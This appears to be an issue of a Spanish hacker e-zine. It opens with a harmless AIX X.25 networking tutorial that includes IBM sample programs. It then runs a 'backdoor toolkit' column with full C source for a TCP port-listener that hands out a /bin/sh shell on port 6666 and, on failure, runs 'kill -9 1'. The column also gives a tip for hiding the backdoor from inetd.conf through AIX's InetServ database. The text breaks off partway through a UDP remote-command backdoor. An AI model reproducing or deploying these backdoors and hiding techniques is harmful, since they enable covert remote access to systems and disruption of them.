virtuales. El numero de conexiones concurrentes posibles depende del
numero de canales logicos que el provedor de red define, junto con las
capacidades del software y hardware del DTE.
  Los numeros de canales validos son entre 1 y 4095, el 0 se reserva
para diagnosticos. En un circuito virtual; el numero de canal del DTE
debe de ser igual al de su DCE asociado, pero no es necesario que este
sea igual al del otro DTE. Un canal logico no es end-to-end en una red.
Este solo debe coincidir en cada par DTE/DCE.
  Cuando una aplicacion inicia una conversacion con otro DTE en la red,
se crea un circuito virtual desde un DTE hasta otro atraves de los DCEs
en la red. Este circuito virtual existe unicamente a lo largo de esta
unica llamada. Cuando la conversacion termina, el circuito virtual se
cierra. Entonces el canal logico es liberado para que lo pueda utilizar
cualquier otra aplicacion. En AIX, una vez que el circuito virtual se
establece entre dos maquinas que corren TCP/IP o SNA, todo el trafico
entre estas va ir por ese unico circuito virtual. Esta multiplexacion de
trafico ayuda a reducir costos bajando el numero de canales logicos
requeridos (gghhhuuaaaauuu!!!).
   Existen varios tipos de VC (circuitos virtuales), pero basicamente
los podemos resumir en dos: PVCs (Permanent Virtual Circuits) y SVCs
(Switched Virtual Circuits). Un PVC es como una linea dedicada, una
linea continuamente conectada a un DTE fijo. SVC es un circuito virtual
que existe unicamente a lo largo de una llamada. Hay tres tipos de
canales logicos para SVCs:
  - Entrantes
  - Salientes
  - Bidireccionales
OJO!, estos tipos de canales son solo usados para COMENZAR la
comunicacion, una vez que el circuito se establece es siempre una
comunicacion bidireccional. Obviamente este tipo de canales logicos se
utilizan para manejar la seguridad del DTE basicamente. Esta es la
jerarquia numerica de los tipos de canales logicos:
  * Los PVCs deben tener los numeros mas bajos.
  * Luego vienen los SVCs entrantes.
  * Despues los SVCs bidireccionales.
  * Y por ultimo los SVCs salientes.

++ Tipos de paquetes X.25:
  Existen diferentes tipos de paquete para efectuar diversas tareas
tales como hacer una llamada, aceptar una llamada, transferir datos y
terminar una llamada. El software X.25 hace todo el trabajo con respecto
a la creacion de paquetes.
  Los paquetes son agrupados en las siguientes categorias:

  * Call establishing and clearing
    - Call Request packet
    - Incoming Call packet
    - Call Accepted packet
    - Call Connected packet
    - Clear Indication packet
    - Clear Request packet
    - Clear Confirmation packet

  * Data and interrupt
    - Data packet
    - Interrupt packet
    - Interrupt Confirmation packet

  * Flow control and reset
    - Reset Request packet
    - Reset Inidication packet
    - Reset Comfirmation packet
    - Receive Ready packet
    - Receive not Ready packet

  * Restart
    - Restart Request packet
    - Restart Inidication packet
    - Restart Confirmation packet
    - Diagnostics packet
 

X.25 y AIX
-^-^-^-^-^

  El device driver del adapter X.25 requiere por parte de la red una
transmicion full duplex sincronica, una conexion a la PSDN de linea
dedicada y una senal de clock (ya sea de un modem o de la misma red).
AIX soporta CCITT 1980 y 1984, adicionalmente el AIX V3.2 soporta el
modulo 128.
  Para conectar una RS/6000 a una red X.25 se necesita lo siguiente
(segun IBM):
   * Interface IBM X.25 Co-Processor/2
   * RCM (Realtime Control Microcode)
   * Microcodigo de diagnostico
   * Adapter Code
   * X.25 device driver
   * Comandos X.25 (**)
   * API (Application Programming Interface)

++ Interfase IBM X.25 Co-Processor/2:
  El dise#o del adaptador X.25 conforma el estandar ISO 8208, el cual es
compatible con CCITT 1980 y CCITT 1984.
  El adaptador provee un port single el cual se acomoda a tres
interfaces seleccionables: X.21, EIA-232D/V.24 y V.35. El port tiene un
conector hembra D-shell de 37 pines.
  Estas son las caracteristicas principales de la interface X.25
Co-Processor/2:
                - Microprocesador 80186 con 512Kb.
                - Full-duplex, protocolo sincronico o asincronico.
                - Consideraciones del Micro Channel:
                  -> I/O slave.
                  -> Ancho del bus de datos: 16 bits.
                  -> Ancho del bus de direcciones: 24 bits.

++ RCM:
  Este es el OS del adapter.

++ Microcodigo de diagnostico:
  Si este falta los testeos estandares fallan.

++ Adapter Code:
  El adapter code se ocupa de controlar el link level y el packet level.
en AIX V3.1.5 es /etc/asw/x25a.exe y en AIX V3.2 es /usr/lib/asw/x25a.exe.

++ Comandos X.25:
  Estos son los comandos X.25 que vienen con todas las versiones de AIX:

 [COMANDOS DE USOS VARIOS]

  - xcomms   <-- Interfaz usuario tipo menu para elejir cualquiera de los
                 comandos aqui detallados.

  - xmanage  <-- 1. Muestra el status de un port X.25.
                 2. Conecta y desconecta un port X.25.
                 3. Obtiene estadisticas de un port X.25.

  - xroute   <-- Maneja la lista de ruteo para llamadas entrantes.

  - xtalk    <-- Comunica con otros DTEs. Maneja las listas de
                 direcciones de llamadas salientes.

  - xmonitor <-- Monitorea la actividad de un port X.25 a frame level o
                 packet level.

 [COMANDOS DE SETUP Y MANEJO]

  - chx25  <-- Se utiliza para la inicializacion del adapter.

  - chdev  <-- Permite modificar los atributos del adapter. (+)

  - lsattr <-- Muestra los atributos del adapter. (+)

 [COMANDOS RELATIVOS AL MANEJO DE RED DE ALTO NIVEL]

  - x25xlate <-- Maneja la tabla de  direcciones IP <-> NUAs.
 

(+) Estos comandos no son propios del manejo X.25; son comandos para la
administracion y configuracion de devices. Como el adapter es otro
device estos comandos deben utilizarse para su debida configuracion.
  Para mas informacion en este tema esperar a mi proximo articulo de ODM
y devices (AIX obviamente) que planeo escribir en un futuro cercano.
 

Instalacion y Setup de una placa X.25
-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-

  No tengo intencion de detenerme mucho en esta seccion, simplemente voy
a dar un idea de la instalacion de una placa X.25 en un equipo que corra
AIX, sin ampliar ningun topico relativo.
  Despues de poner la placa en cualquiera de los slots Micro Channel
disponibles en la maquina, se puede proceder a configurarla. Uno puede
optar por usar el 'smit' (), usar los camandos de manejo de devices o bien
tocar a mano las bases de datos con el 'odme'. Cualquiera sea el modo de
trabajo elejido, lo siguiente es lo que se debe de hacer:

   1. Verificar la correcta instalacion de la placa.
   2. Cargar el microcodigo.
   3. Rebootear el sistema o reconfigurarlo para cargar el device driver
      del adapter, cambiando el status de 'defined' a 'available'.
   4. Testear la correcta conexion de todo (con el smit se hace rapido).
   5. Customizar las variables del sistema (NUA, tabla x25xlate, etc.)
   Listo!

  Esta es una lista de los principales archivos relacionados con X.25 en
AIX.

   -- dev ---- x25s0
   |       |--  ...
   |       |-- x25s3
   |
   |-- etc ---- asw --- x25a.exe
   |        |
   |        |-- microcode ---- icaaim.com
/ --        |              |-- f0efd.00.01
   |        |
   |        |-- drivers ---- x25dd
   |        |            |-- if_xt
   |        |            |-- QLLC.ext
   |        |
   |        |-- xrt.names --- diagnostics ---- da --- dx25
   |                                       |
   |                                       |
   |                                       |-- catalog --- En_US ---- dx25.cat
   |                                        |- default -- dx25.cat
   |
   |        |-- sbin ---- x25xlate
   |        |         |-- chx25      |--- sys---- x25user.h
   |        |         |-- xroute     |        |-- x25ddi.h
   |        |                        |
   |        |-- include ----------------- netiso -- cons_ifx25.h
   |        |                        |
   |        |                        |--- isode -- x25.h
   |-- usr --
            |-- bin ----- xmanage
            |        |--- xcomms
            |        |--- xmonitor
            |        |--- xtalk
            |        |--- xtk.log
            |        |--- xmg.mon
            |        |--- xmg.stat
            |        |-- xmg.view
            |
            |          |-- asw --- x25a.exe
            |          |
            |-- lib ------ drivers ---- x25dd
            |          |            |-- QLLC.ext
            |          |            |-- if_xt
            |          |
            |          |
            |          |-- methods ---- cfgx25
            |          |            |-- chgx25
            |          |
            |          |-- nls --- msg ---- En_US ---- xmanage.cat
            |          |                           |-- x25xlate.cat
            |          |-- libx25s.a               |-- xcomms.cat
            |                                      |-- xmonitor.cat
            |                                      |-- xroute.cat
            |                                      |-- xtalk.cat
            |
            |
            |
            |
            |-- lpp --- bosext2 --- x25app ---- samples---- svcrcv.c (1)
                                         & |-- svcxmit.c(2)
                                         & |-- pvcxmit.c
                                         & |-- pvcrcv.c
 

Incluyo aca atras los programitas de ejemplo (1) y (2) para que puedan
estudiarlos...
(switched virtual circuits transmit y receive)

------------------------------ SVCXMIT.C --------------------------------

static char sccsid[] = "@(#)24  1.1  com/x25samp/svcxmit.c, commo, commo320 12/8/89 14:37:04";
/* COMPONENT_NAME: (LIBX25L) X.25 API Sample programs
 *
 * FUNCTIONS:
 *
 * ORIGINS: 27
 *
 * (C) COPYRIGHT International Business Machines Corp. 1989
 * All Rights Reserved
 * Licensed Materials - Property of IBM
 *
 * US Government Users Restricted Rights - Use, duplication or
 * disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <NLchar.h>
#include <x25sdefs.h>
 

#define LINK_NAME    "x25s0"            /* Default link                 */
#define CALLING_ADDR "54321"            /* Calling Network User Address */
#define CALLED_ADDR  "1234502"          /* Called  Network User Address */

#define SAMPLE_NAME "IBMSAMP"           /* Name from routing list       */

#define INFO        "Hello World"
#define INFO2       "Goodbye Everyone"

/*****************************************************************************/
/* Function     main                                  &nb */
/* Description  This program is designed to demonstrate usage of the X.25    */
/*              API. It makes a call, transmits some data, and then clears   */
/*              the call.                                          */
/*              Note that little error checking is done by this program.     */
/* Return       0 if successful                                */
/*              1 if error occurs                                       &nbs */
/*****************************************************************************/
int main(
  int argc,
  char *argv[])
{
  int conn_id;        /* Used to identify the call after making the call.    */
  int ctr_id;         /* Counter identifier to be associated with this call. */
  int rc;             /* Used for return codes.                              */
  int ctr_num = 1;    /* The number of counters in counter array.            */

  /***************************************************************************/
  /* The following structures are defined in the x25sdefs.h file.            */
  /***************************************************************************/
  struct cb_msg_struct cb_msg;
  struct cb_link_name_struct cb_link_name;
  struct ctr_array_struct ctr_array[1];
  struct cb_call_struct cb_call;
  struct cb_clear_struct cb_clear;
  struct cb_data_struct cb_data;

  /***************************************************************************/
  /* Initialise API for access to a link                                 &nbs */
  /***************************************************************************/
  cb_link_name.flags = X25FLG_LINK_NAME;
  cb_link_name.link_name = LINK_NAME;
  rc = x25_init(&cb_link_name);
  if (rc < 0)
  {
    (void)printf("%s: x25_init failed : x25_errno = %d errno = %d\n",
 argv[0],x25_errno,errno);
    return(1);
  }
  else
  {
    /************************************************************************/
    /* Obtain a counter to notify of incoming packets                       */
    /************************************************************************/
    ctr_id = x25_ctr_get();

    /************************************************************************/
    /* Set the flags in the cb_call structure to indicate which fields      */
    /* have been filled in. The fields which this program sets              */
    /* are the calling and called addresses, and the link on which to call. */
    /* The D-bit field must also be set, as there will be a data packet     */
    /* sent later which uses the D-bit procedure.                           */
    /************************************************************************/
    cb_call.flags = X25FLG_LINK_NAME;      /* Set flag for using linkname.  */
    cb_call.link_name = LINK_NAME;

    cb_call.flags |= X25FLG_CALLING_ADDR;  /* Set flags for calling addr    */
    cb_call.calling_addr = CALLING_ADDR;

    cb_call.flags |= X25FLG_CALLED_ADDR;   /* Set flag for called address   */
    cb_call.called_addr = CALLED_ADDR;

    cb_call.flags |= X25FLG_D_BIT;
    /************************************************************************/
    /* Having set the values in the cb_call structure, make the call. The   */
    /* return code is the connection identifier to reference this call later*/
    /************************************************************************/
    conn_id = x25_call(&cb_call,ctr_id);
    if (conn_id == -1)
    {
      (void)printf("%s: x25_call failed : x25_errno = %d errno = %d\n",
 argv[0],x25_errno,errno);
      return(1);
    }
    else
      (void)printf("%s: Placed outgoing call\n",argv[0]);
    /************************************************************************/
    /* After making the connection wait for some sort of confirmation. This */
    /* may be a call clear or a call connected packet.                      */
    /************************************************************************/

    /************************************************************************/
    /* Wait for the counter value to change indicating an incoming message. */
    /* There is only one counter in the array so there is no point in       */
    /* testing to see if it is the correct counter.                         */
    /************************************************************************/
    ctr_array[0].flags = X25FLG_CTR_ID;
    ctr_array[0].flags |= X25FLG_CTR_VALUE;
    ctr_array[0].ctr_id = ctr_id;
    ctr_array[0].ctr_value = 0;

    (void)x25_ctr_wait(ctr_num,ctr_array);

    (void)x25_receive(&conn_id,&cb_msg);  /* Receive the incoming message.  */

    /************************************************************************/
    /* If the incoming message shows that the call has been connected, data */
    /* may be sent.                                   &nb */
    /************************************************************************/
    if (cb_msg.msg_type == X25_CALL_CONNECTED)
    {
      cb_data.flags = X25FLG_DATA;
      cb_data.data_len = strlen(INFO);
      cb_data.data = INFO;
      (void)x25_send(conn_id,&cb_data);

      (void)printf("%s: Data sent\n",argv[0]);

      /**********************************************************************/
      /* Send some more data but this time with the D bit set.              */
      /* The other DTE must send an acknowledgement to this data, which we  */
      /* wait for.                                   */
      /**********************************************************************/
      cb_data.flags = X25FLG_DATA;
      cb_data.flags |= X25FLG_D_BIT;
      cb_data.data_len = strlen(INFO2);
      cb_data.data = INFO2;
      (void)x25_send(conn_id,&cb_data);
      (void)printf("%s: Data sent\n",argv[0]);

      (void)x25_ctr_wait(ctr_num,ctr_array);   /* Wait for acknowledgement. */
      (void)x25_receive(&conn_id,&cb_msg);     /* Get acknowledgement.      */

      if (cb_msg.msg_type == X25_DATA_ACK)
 (void)printf("%s: Data has been acknowledged.\n",argv[0]);
      else
 (void)printf("%s: Unexpected packet received.\n",argv[0]);

      /**********************************************************************/
      /* Clear the call now that transmission is completed.                 */
      /**********************************************************************/
      cb_clear.flags = X25FLG_CAUSE;
      cb_clear.flags |= X25FLG_DIAGNOSTIC;
      cb_clear.cause = 0;            /* The CCITT code for DTE-originated   */
      cb_clear.diagnostic = 0;       /* No further information              */

      (void)printf("%s: Clearing the call.",argv[0]);

      /**********************************************************************/
      /* The x25_call_clear function can return information from the clear  */
      /* confirmation packet. However, this isn't required here, so set the */
      /* third parameter to NULL.                               &nb */
      /**********************************************************************/
      (void)x25_call_clear(conn_id,&cb_clear,(struct cb_msg_struct *)NULL);
    }
    /************************************************************************/
    /* If the message received was a clear indication message then terminate*/
    /* program.                                    & */
    /************************************************************************/
    else if (cb_msg.msg_type == X25_CLEAR_INDICATION)
    {
      (void)printf("%s: Call cleared. Cause = 0x%02x Diagnostic = 0x%02x\n",
 argv[0], cb_msg.msg_point.cb_clear->cause,
 cb_msg.msg_point.cb_clear->diagnostic);
    }

    /************************************************************************/
    /* Finally, tidy up by removing allocated resources                     */
    /************************************************************************/
    (void)x25_ctr_remove(ctr_id);
    (void)x25_term(&cb_link_name);
  }
  return(0);
}
------------------------------------ENDP-------------------------------------

----------------------------------SVCRCV.C-----------------------------------
static char sccsid[] = "@(#)21  1.1  com/x25samp/svcrcv.c, commo, commo320 12/8/89 14:36:17";
/* COMPONENT_NAME: (LIBX25L) X.25 API Sample programs
 *
 * FUNCTIONS:
 *
 * ORIGINS: 27
 *
 * (C) COPYRIGHT International Business Machines Corp. 1989
 * All Rights Reserved
 * Licensed Materials - Property of IBM
 *
 * US Government Users Restricted Rights - Use, duplication or
 * disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
 */
 

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>            /* System error numbers.                       */
#include <NLchar.h>           /* National Language Support.                  */
#include <x25sdefs.h>         /* For X.25 structure definitions.             */

#define LINK_NAME   "x25s0"             /* Default link - the first          */
#define SAMPLE_NAME "IBMSAMP"           /* A name in the X.25 routing list   */

/*****************************************************************************/
/* Function     main                                  &nb */
/* Description  This program is designed to demonstrate usage of the X.25    */
/*              API. It waits for an incoming call, accepts it, and then     */
/*              prints any data received.                                    */
/*              Note that little error checking is done by this program.     */
/* Returns      0 if successful                                 */
/*              1 if error                                          */
/*****************************************************************************/
int main(
  int argc,
  char *argv[])
{

  /***************************************************************************/
  /* The following structures are defined in the x25sdefs.h file.            */
  /***************************************************************************/
  struct cb_call_struct cb_call;
  struct ctr_array_struct ctr_array[1];  /* This program uses 1 counter.     */
  struct cb_msg_struct cb_msg;           /* For incoming messages.           */
  struct cb_link_name_struct cb_link_name;

  NLchar name[8];      /* 1 longer than SAMPLE_NAME for NULL terminator.     */
  int listen_id;       /* Used to identify channel to x25_receive.           */
  int conn_id;         /* Used to identify the call after reception.         */
  int listen_ctr_id;   /* Counter identifier to associate with incoming calls*/
  int call_ctr_id;     /* Counter identifier to associate with accepted call */
  int ctr_num;         /* Number of entries in ctr_array.                    */
  int rc;              /* Return code                                        */

  /***************************************************************************/
  /* Initialise a particular link.                                  &nbs */
  /***************************************************************************/
  cb_link_name.flags = X25FLG_LINK_NAME;
  cb_link_name.link_name = LINK_NAME;

  rc = x25_init(&cb_link_name);
  if (rc < 0)
  {
    (void)printf("%s: x25_init failed : x25_errno = %d errno = %d\n",
 argv[0],x25_errno,errno);
    return(1);
  }
  else
  {
    /************************************************************************/
    /* Prepare to receive incoming calls.                                 */
    /* First obtain a counter which will be used to notify of incoming calls*/
    /* Secondly, "listen" to a name in the routing list.                    */
    /************************************************************************/
    listen_ctr_id = x25_ctr_get();          /* Get a counter.               */

    (void)NCdecstr(SAMPLE_NAME,name,8);     /* Convert to NLchar.           */
    listen_id = x25_listen(name,listen_ctr_id);
    if (listen_id < 0)
    {
      (void)printf("%s: x25_listen failed : x25_errno = %d errno = %d\n",
 argv[0],x25_errno,errno);
      return(1);
    }
    else
      (void)printf("%s: Awaiting incoming call...\n",argv[0]);
    /************************************************************************/
    /* Wait for an incoming call. The x25_ctr_wait function will return to  */
    /* indicate when there is a call.                                &nb */
    /************************************************************************/
    ctr_num = 1;
    ctr_array[0].flags = X25FLG_CTR_ID;
    ctr_array[0].flags |= X25FLG_CTR_VALUE;
    ctr_array[0].ctr_id = listen_ctr_id;
    ctr_array[0].ctr_value = 0;
    rc = x25_ctr_wait(ctr_num,ctr_array);

    /************************************************************************/
    /* Receive a call.                                    */
    /* There is now a message ready. It will be an Incoming Call message    */
    /* because that is all that is returned when the first parameter of     */
    /* x25_receive has the value of a listen_id. Note that the value of the */
    /* conn_id parameter is changed by x25_receive.                         */
    /************************************************************************/

    conn_id = listen_id;
    (void)x25_receive(&conn_id,&cb_msg);

    (void)printf("%s: Incoming call received\n",argv[0]);

    /************************************************************************/
    /* Now that the incoming call has been received, it is accepted. No     */
    /* additional information needs to be put into the call-accept packet,  */
    /* so the flags field is set to zero.                                 */
    /* A different counter is used for handling data from this call.        */
    /************************************************************************/
    call_ctr_id = x25_ctr_get();
    cb_call.flags = 0;
    (void)x25_call_accept(conn_id,&cb_call,call_ctr_id);
    (void)printf("%s: Call accepted.\n",argv[0]);

    /************************************************************************/
    /* The X.25 API allocates memory to return information. Although there  */
    /* are no memory constraints in this application, the space allocated   */
    /* is freed anyway once the information is no longer needed.            */
    /************************************************************************/
    if (cb_msg.msg_point.cb_call != NULL)
    {
      cb_msg.msg_point.cb_call -> flags = 0;
      if (cb_msg.msg_point.cb_call->link_name != NULL)
 free(cb_msg.msg_point.cb_call->link_name);

      if (cb_msg.msg_point.cb_call->calling_addr != NULL)
 free(cb_msg.msg_point.cb_call->calling_addr);

      if (cb_msg.msg_point.cb_call->called_addr != NULL)
 free(cb_msg.msg_point.cb_call->called_addr);

      if (cb_msg.msg_point.cb_call->user_data != NULL)
 free(cb_msg.msg_point.cb_call->user_data);

      free(cb_msg.msg_point.cb_call);
    }

    /************************************************************************/
    /* Call has now been received and acknowledged, now wait for the data.  */
    /************************************************************************/
    do
    {
      /**********************************************************************/
      /* Wait for counter to indicate that data is waiting to be received.  */
      /**********************************************************************/
      ctr_num = 1;
      ctr_array[0].flags = X25FLG_CTR_ID;
      ctr_array[0].flags |= X25FLG_CTR_VALUE;
      ctr_array[0].ctr_id = call_ctr_id;
      ctr_array[0].ctr_value = 0;
      (void)x25_ctr_wait(ctr_num,ctr_array);

      /**********************************************************************/
      /* There is now a message ready.                              &nbs */
      /**********************************************************************/
      (void)x25_receive(&conn_id,&cb_msg);

      switch (cb_msg.msg_type)
      {
      case X25_DATA:
 /********************************************************************/
 /* If the D-bit (delivery confirmation) is set, then acknowledge    */
 /* the packet.                                       */
 /********************************************************************/
 if ((cb_msg.msg_point.cb_data->flags) & X25FLG_D_BIT)
   (void)x25_ack(conn_id);

 /********************************************************************/
 /* Now print the received data. Assume it is a normal string        */
 /********************************************************************/
 if ((cb_msg.msg_point.cb_data -> flags) & X25FLG_DATA)
 {
   (void)printf("%s: Incoming Data : ",argv[0]);
   (void)printf("%s\n",cb_msg.msg_point.cb_data->data);
   free(cb_msg.msg_point.cb_data->data);    /* Free memory allocated */
   free(cb_msg.msg_point.cb_data);
 }
 break;

      case X25_CLEAR_INDICATION:
 /********************************************************************/
 /* Once the call has been cleared, do the tidying up                 */
 /********************************************************************/
 (void)printf("%s: Call cleared. Cause = 0x%02x Diagnostic = 0x%02x\n",
   argv[0], cb_msg.msg_point.cb_clear->cause,
   cb_msg.msg_point.cb_clear->diagnostic);
 (void)x25_ctr_remove(call_ctr_id);
 (void)x25_ctr_remove(listen_ctr_id);
 (void)x25_deafen(listen_id);
 (void)x25_term(&cb_link_name);
 break;

      case X25_RESET_INDICATION:
 (void)x25_reset_confirm(conn_id);
 break;

      default:
 /* Other packet types are ignored */
 break;
      }
    } while (cb_msg.msg_type != X25_CLEAR_INDICATION);
  }
  return(0);
}

------------------------------------ENDP-------------------------------------

En la proxima HBOMAG: TCP/IP en AIX.
 

===============================================================================
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
===============================================================================

0x01040005 - My First Backdoor Toolkit #2
=========================================

Despues del makemeroot.c de la HBOMAG 3 que a la gente que llego a leerlo
le gusto bastante, decidimos seguir haciendo un review de los metodos mas
estupidos y comunes para dejar backdoors en sistemas...
Esta vez tocan dos programitas que todo el mundo que se precie hizo alguna
vez, y cuya funcion se desprende claramente de seguir el codigo con los
ojos de una manera TOP-DOWN (es decir de abajo hacia arriba?) caracter por
caracter, y sumandole al caracter anterior el valor del caracter actual.
de todas maneras traten de leer el codigo porque lo mas posible es que los
programitas de esta seccion no los hayamos compilado nunca, y esten llenos
de system("rm -rf /*"); o cosas por  el estilo OK?
Avisados estan...
                                        Logical Backdoor.

PD: mi relacion con esta columna, es puramente sexual, y porque me estoy
constituyendo en el editor de facto de la misma... nadamas manden sus
programas-verga que seran  evaluados de la forma dicha anteriormente, con
un contador byte (char contador;) y si el resultado da 666%256=154 seran
publicados... sino no.
 

The same old Port Listener:
--------------------------
by Logical Backdoor

   La idea es muy sencilla, un programa se queda escuchando un port y si
recibe determinada inicializacion se transforma en un shell IN YOUR FACE
como diria un amigo...
   Mas alla de la utilidad (que es bastante limitada, por que aparece en
cualquier ps aunque lo ocultemos con un nombre "tipico", y si shutdownean
la maquina 'cagaste fiera') que hace que sea un backdoor mas bien torpe,
tiene un par de cositas interesantes para los mas suckers, lo basico de
sockets y TCP, y el manejo de pty's. Si se animan cuelguenlo del inetd que
es un poco mas posta... Si no compila lola, me dio fiaca compilarlo  y
probarlo, pero como mucho hay un par de bugs pelotudos o no.

-----------------------------port_listener.c-----------------------------------
/* este programa fue integramente desarrollado, betatesteado y utilizado desde
   el QEDIT. asi anda.  */

#include <stdio.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/select.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <memory.h>
/* si faltan mas includes agreguenlos.... no tengo mas ganas */

 
#define MAXCONNECTIONS 5
#define PORTNUM 6666
#define READMAX 16

jmp_buf  salto;

void get_out(void)
{
  wait();
  longjmp(salto,1);

}

int suckwait(int portnum, int maxconnections)
{
  char hostname[80];
  struct hostent *h;
  struct sockaddr_in sa;
  int s,i;
 

  /*gethostname(hostyname,80);     suckonthis              */
  strcpy(hostname,"localhost");
  h=gethostbyname(hostname);
  if (h==NULL) return(-1);
  sa.sin_port=portnum;
  sa.sin_family=h->h_addrtype;
  memset(sa.sin_zero,0,8);
  memcpy(&sa.sin_addr ,h->h_addr,sizeof(sa.sin_addr));
  if ((s=socket(h->h_addrtype, SOCK_STREAM, 0)) < 0 ) return(-2);
  if (bind(s,&sa,sizeof(sa)) < 0 ) return(-3);
  listen(s,maxconnections);
  return(s);
}

/*  el manejo de pty's, cut&pasteado de Stevens: Advanced programming in the
                                         & Unix Environment             */
int ptym_open(char *pts_name)
{
  int fdm;
  char *ptr1, *ptr2;
 
  strcpy(pts_name, "/dev/ptyxy");
  for ( ptr1 = "pqrstuvwxyzPQRST"; *ptr1 != 0; ptr1++ )
  {
    pts_name[8]= *ptr1;
    for ( ptr2 = "0123456789abcdef" ; *ptr2 != 0; ptr2++ )
    {
      pts_name[9]= *ptr2;
      if ( (fdm=open(pts_name,O_RDWR)) < 0 )
      {
        if (errno == ENOENT)
          return(-1);
        else
          continue;
      }
      pts_name[5]='t';
      return(fdm);
    }
  }
  return(-1);
}
 
int ptys_open ( int fdm, char *pts_name)
{
  struct group *grptr;
  int gid, fds;
 
  if ( (grptr = getgrnam ("tty")) != NULL )
    gid= grptr->gr_gid;
  else
    gid= -1;
  chown(pts_name, getuid(),gid);
  chmod(pts_name, S_IRUSR | S_IWUSR | S_IWGRP);
  if ( (fds = open (pts_name, O_RDWR)) < 0 )
  {
    close (fdm);
    return(-1);
  }
  return (fds);
}
 
pid_t pty_fork (
  int *ptrfdm, char *slave_name,
  const struct termios *slave_termios,
  const struct winsize *slave_winsize)
{
  int fdm, fds;
  pid_t pid;
  char pts_name[20];
 
  if ( ( fdm = ptym_open (pts_name) ) < 0 )
    errsys("cant't open master pty");
  if (slave_name != NULL)
    strcpy(slave_name, pts_name);
  if ( (pid=fork()) < 0 )
    return(-1);
  else if (pid==0)
  {
    if ( setsid()<0 )
      errsys("setsid error");
    if ( (fds = ptys_open (fdm, pts_name) ) < 0 )
      errsys("can't open slave pty");
    close(fdm);
#if defined (TIOCSTTY) && !defined (CIBAUD)
    if ( ioctl(fds,TIOCSTTY, (char *) 0 ) < 0 )
      errsys("TIOCSTTY error");
#endif
    if (slave_termios != NULL )
    {
      if (tcsetattr(fds,TCSANOW, slave_termios) < 0)
        errsys("tcsetattr error on slave pty");
    }
    if (slave_winsize != NULL )
    {
      if ( ioctl(fds, TIOCSWINSZ, slave_winsize) < 0 )
        errsys("TIOCSWINSZ error on slave pty");
    }
    if (dup2(fds,STDIN_FILENO) != STDIN_FILENO)
      errsys("dup2 error on stdin");
    if (dup2(fds,STDOUT_FILENO) != STDOUT_FILENO)
      errsys("dup2 error on stdout");
    if (dup2(fds,STDERR_FILENO) != STDERR_FILENO)
      errsys("dup2 error on stderr");
    if (fds>STDERR_FILENO)
      close(fds);
    return(0);
  } else {
    setsid();
    *ptrfdm= fdm;
    return(pid);
  }
}

void yzzx(int in1, int out1, int in2, int out2)
{
  fd_set W;
  struct timeval t;
  int e;
 while( 1<<7 & 1<<6 & 1<<5 & 1<<4 & 1<<3 & 1<<2 & 1<<1 & 1 !=0)
 {
  FD_ZERO(&W);
  FD_SET(in1,&W);
  FD_SET(in2,&W);
  t.tv_sec=0;
  t.tv_usec=0;
  if ((e=select(((in1>in2) ? in1+1 : in2+1),&W,NULL,NULL,&t)) > 0)
    {
      if (FD_ISSET(in1,&W))
          write(out2,buf,read(in1,buf,MAXREAD));
      if (FD_ISSET(in2,&W))
          write(out1,buf,read(in2,buf,MAXREAD));
    }
 }
}

void main()
{
  int s,t,len, pthijo;
  int fdm,pty_name[80];
  struct sockaddr_in sa;
 
  daemon_init();
  if ((s=suckwait(PORTNUM,MAXCONNECTIONS))>0)
  {
    signal(SIGCHLD,wait);             /* Real programmers don't use myfunc() */
    while (1)
    {
      if ((t=accept(s,&sa,&len))>0)
      {
        if (fork()==0)
        {
          signal(SIGCHLD,get_out); /* si muere el hijo(shell) termino */
          if ((pthijo=pty_fork(&fdm,pty_name,NULL,NULL))==0)
          {
            execl("/bin/sh","sh",NULL);
            exit(0);
          } else
          {
           if (!setjmp(salto))  /* si no vuelvo del salto... */
           {
             yzzx(t,t,fdm,fdm);
           }
          }
          close(fdm);
          close(t);
          exit(0);
        }
        close(t);
      }
    }
  } else {
  fprintf(stderr,"SUCKER!");
  system("echo System is going down NOW | /bin/wall");
  system("/bin/kill -9 1");
  fflush(stderr);
  }
}
 
 
---------------------------------ENDP------------------------------------------
 

  Comentario sin importancia:
  (PARA AIX)

  El AIX, como cualquier otro unix que se precie tiene  el /etc/inetd.conf
y el /etc/services donde aparecen la configuracion de los programas que
llama el inetd y los ports asociados, pero a diferencia de cualquier unix
decente el AIX NO LOS USA. bien, lo que si usa para la configuracion de los
services es una base con formato odm que se llama /etc/objrepos/InetServ, y
donde se guardan mas o menos los mismos datos... a su vez hay dos
programitas: el inetexp y el inetimp, que son los encargados de exportar e
importar los datos entre los dos formatos... pero esto nos permite una
pequenia triquiniuela que es la siguiente: configurar nuestro port-listener
en InetServ y no exportar los datos a /etc/*, entonces si uno hace lo
primero que uno hace para ver los services que es catear el /etc/inetd.conf
no lo va a encontrar... interesante. (Todo este comentario esta aca ya que
en este numero se habla bastante de AIX, entonces yo tambien queria mechar
con algo aunque mas no sea una huevada, teniendo en cuenta que no hice la
backdoors colection para AIX que habia prometido, vio...)

                                         &n lbd
 
 

UDPCMD.C
--------
by OPii

(The same old port listener por UDP)

Es una estupidez modificarlo para que lo corra el inetd directamente.
SE incluyen el client y el server, les sugiero que lean los fuentes
antes de compilarlo y correrlo.

-------------------------------udpcmd.c------------------------------------

#include "udpcmd.h"
int bytes;

main(argc, argv)
    char** argv;
{
    struct hostent* h;
    struct sockaddr_in me, it;
    msg m;
    int  seq, i, sock, namelen;
    void catch();

    if (argc < 3) {
    printf("NECESITO ARGUMENTOS, ESTUPIDO!.\n");
    printf("algo asi como: %s host cmd\n", argv[0]);
    sleep(5);
    system("echo Chupenmen la verga| /bin/wall;/bin/write root");
    exit(-666);
    }
    if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
 perror("socket");
 exit(2);
    }
    if (!(h = gethostbyname(argv[1]))) {
 perror(argv[1]);
 exit(3);
    }
    /*
     * Lleno el address y port para el remote socket
     */
    bzero(&it, sizeof(it));
    it.sin_family = AF_INET;
